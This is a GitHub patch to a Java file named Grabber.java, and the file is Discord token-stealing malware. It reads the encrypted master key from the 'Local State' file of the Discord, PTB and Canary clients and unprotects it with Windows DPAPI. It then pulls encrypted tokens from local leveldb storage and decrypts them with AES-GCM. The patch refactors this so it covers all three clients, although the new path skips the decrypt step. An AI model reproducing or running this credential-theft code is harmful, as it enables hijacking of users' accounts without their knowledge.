From 21cbec07ef7af9cd3a23df8e8d84d3c2f77c4946 Mon Sep 17 00:00:00 2001 From: MeinMex <78362012+MeinMex@users.noreply.github.com> Date: Sat, 23 Sep 2023 15:23:04 +0200 Subject: [PATCH] Update Grabber.java --- Grabber.java | 73 ++++++++++++++++++++++++++++------------------------ 1 file changed, 40 insertions(+), 33 deletions(-) diff --git a/Grabber.java b/Grabber.java index 7ee2a35..97ccccb 100644 --- a/Grabber.java +++ b/Grabber.java @@ -1,9 +1,8 @@ import java.io.BufferedReader; import java.io.File; import java.io.FileReader; -import java.util.Arrays; +import java.util.ArrayList; import java.util.Base64; -import java.util.LinkedList; import java.util.List; import javax.crypto.Cipher; @@ -15,57 +14,65 @@ public class Grabber { public static List getTokens() { - String key = Key(); - List token = Tokens(); - if(key == null) return null; - if(token == null) return null; - LinkedList tokens = new LinkedList(); - for(String s : token) { - try { - byte[] z = Base64.getDecoder().decode(key); - byte[] y = Arrays.copyOfRange(z, 5, z.length); - tokens.add(decrypt(Base64.getDecoder().decode(s), y)); - } catch (Exception e) {} + List tokens = new ArrayList<>(); + String[] appNames = {"discord", "discordptb", "discordcanary"}; + + for (String appName : appNames) { + List appTokens = getTokensForApp(appName); + if (appTokens != null) { + tokens.addAll(appTokens); + } } + return tokens; } - - private static List Tokens() { - LinkedList token = new LinkedList(); + private static List getTokensForApp(String appName) { + String key = getKeyForApp(appName); + if (key == null) { + return null; + } + String regex = "dQw4w9WgXcQ:"; - File[] files = new File(System.getenv("APPDATA") + "\\discord\\Local Storage\\leveldb\\").listFiles(); + File[] files = new File(System.getenv("APPDATA") + "\\" + appName + "\\Local Storage\\leveldb\\").listFiles(); + List tokens = new ArrayList<>(); + for (File file : files) { - try { - try (BufferedReader br = new BufferedReader(new FileReader(file))) { - String line; - while ((line = br.readLine()) != null) if (line.contains(regex)) token.add(line.split(regex)[1].split("\"")[0]); + try { + try (BufferedReader br = new BufferedReader(new FileReader(file))) { + String line; + while ((line = br.readLine()) != null) { + if (line.contains(regex)) { + tokens.add(line.split(regex)[1].split("\"")[0]); + } } - } catch (Exception e) {} + } + } catch (Exception e) {} } - return token; + + return tokens; } - private static String Key() { + private static String getKeyForApp(String appName) { try { - try (BufferedReader brs = new BufferedReader(new FileReader(new File(System.getenv("APPDATA") + "\\discord\\Local State")))) { - String line; - while ((line = brs.readLine()) != null) { - return new JSONObject(line).getJSONObject("os_crypt").getString("encrypted_key"); + try (BufferedReader brs = new BufferedReader(new FileReader(new File(System.getenv("APPDATA") + "\\" + appName + "\\Local State")))) { + String line; + while ((line = brs.readLine()) != null) { + return new JSONObject(line).getJSONObject("os_crypt").getString("encrypted_key"); + } } - } } catch (Exception e) {} return null; } private static String decrypt(byte[] token, byte[] key) throws Exception { byte[] finalKey = Crypt32Util.cryptUnprotectData(key); - byte[] finaltoken = new byte[12]; - for (int i = 0; i < 12; i++) finaltoken[i] = token[i + 3]; + byte[] finalToken = new byte[12]; + System.arraycopy(token, 3, finalToken, 0, 12); byte[] data = new byte[token.length - 15]; - for (int i = 0; i < data.length; i++) data[i] = token[i + 15]; + System.arraycopy(token, 15, data, 0, data.length); Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); - cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(finalKey, "AES"), new GCMParameterSpec(128, finaltoken)); + cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(finalKey, "AES"), new GCMParameterSpec(128, finalToken)); return new String(cipher.doFinal(data)); } }